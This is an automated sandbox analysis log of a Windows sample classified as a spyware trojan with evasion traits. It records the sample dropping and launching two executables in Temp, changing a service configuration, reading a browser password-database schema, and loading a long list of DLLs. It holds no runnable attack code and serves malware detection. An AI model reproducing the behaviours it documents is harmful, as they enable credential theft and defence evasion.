Source: NYMPo215Qd.exe, 00000000.00000003.2364700556.00000000062F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2381203631.00000000062FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2362810045.00000000062F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2380181201.0000000006432000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2379384847.00000000062F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2375976356.00000000062F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2374371767.00000000063F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2397276970.00000000060F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2377817121.0000000006417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2378653680.00000000062FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2379689805.0000000006566000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2380734550.000000000644B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2372553109.00000000063E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2378277644.000000000653E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2364927191.000000000643F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2364821766.000000000639D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2369533860.00000000062FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2365602927.00000000063A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2372781481.00000000063E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2364208927.00000000062F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2369729315.00000000063C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2381526049.000000000644E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2367497802.00000000062FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2371327018.00000000063DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2369946357.00000000062FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2365226049.0000000006439000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2379086189.0000000006424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2365996095.00000000062F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2378547110.0000000006424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2372440012.00000000062FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2362646208.0000000006172000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2376840500.00000000062FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2359088528.0000000006172000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2372663982.00000000062F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2369127012.00000000062FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2366392190.0000000006467000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2375063547.00000000063F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2374581701.00000000062FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2378792321.0000000006422000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2370374099.00000000062FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2380889188.00000000062F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2373642479.00000000063F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2363117298.0000000005F58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2372011440.00000000064BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2377670620.00000000062F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2370621643.00000000063C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2372318818.00000000063E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2397363827.0000000005E66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2359088528.00000000060F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2378126477.0000000006413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2366547254.00000000062FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2376566472.0000000006405000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2378941824.00000000062F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2365125119.0000000006398000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2365027492.00000000062F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2370090375.00000000063CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2364416218.00000000062FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2379935240.0000000006435000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2362728078.0000000005F58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2396189814.00000000062F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2362890306.0000000005F5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2376703062.000000000651B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2379826514.00000000062F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2375821693.00000000064FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2371860517.00000000063DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2377982801.00000000062F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2380515771.00000000062F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2372899763.00000000064E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2376149258.0000000006410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2380330919.000000000657A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2365801948.00000000063A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2376975796.0000000006419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2364305768.0000000005F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2377192258.00000000062FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2376419375.00000000062F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2375464722.00000000062F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2377520433.0000000006418000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2376283145.000000000651F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2372174819.00000000062FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2373904993.00000000064E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2368291119.000000000647D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2378412178.00000000062F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2368496929.00000000062FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2371149692.00000000062FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2363024788.0000000006301000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2397789857.000000000160A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2371623271.00000000062FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2365892467.000000000645D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2365706928.00000000062F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2364519792.000000000639A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2366870864.00000000063B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe

Source: NYMPo215Qd.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: NYMPo215Qd.exe	Static PE information: Section: ZLIB complexity 0.9973913741438356
Source: NYMPo215Qd.exe	Static PE information: Section: rjsyiznq ZLIB complexity 0.9947670118343195
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe.0.dr	Static PE information: Section: szaazyea ZLIB complexity 0.9949221118141861

Source: G9H9BE2GP1UE0C9AS5I0G1FKO.exe.0.dr

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@1/3

Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe

Code function: 3_2_04A115D0 ChangeServiceConfigA,

3_2_04A115D0

Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\G9H9BE2GP1UE0C9AS5I0G1FKO.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\NYMPo215Qd.exe

File created: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe

Jump to behavior

Source: C:\Users\user\Desktop\NYMPo215Qd.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: NYMPo215Qd.exe, 00000000.00000003.2182714691.0000000005E88000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2207910860.0000000005E7C000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2183005553.0000000005E6A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: NYMPo215Qd.exe

ReversingLabs: Detection: 50%

Source: G9H9BE2GP1UE0C9AS5I0G1FKO.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\NYMPo215Qd.exe

File read: C:\Users\user\Desktop\NYMPo215Qd.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\NYMPo215Qd.exe "C:\Users\user\Desktop\NYMPo215Qd.exe"
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Process created: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe "C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe"
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Process created: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe "C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe"
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Process created: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe "C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe"	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Process created: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe "C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe"	Jump to behavior

Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: mswsock.dll	Jump to behavior
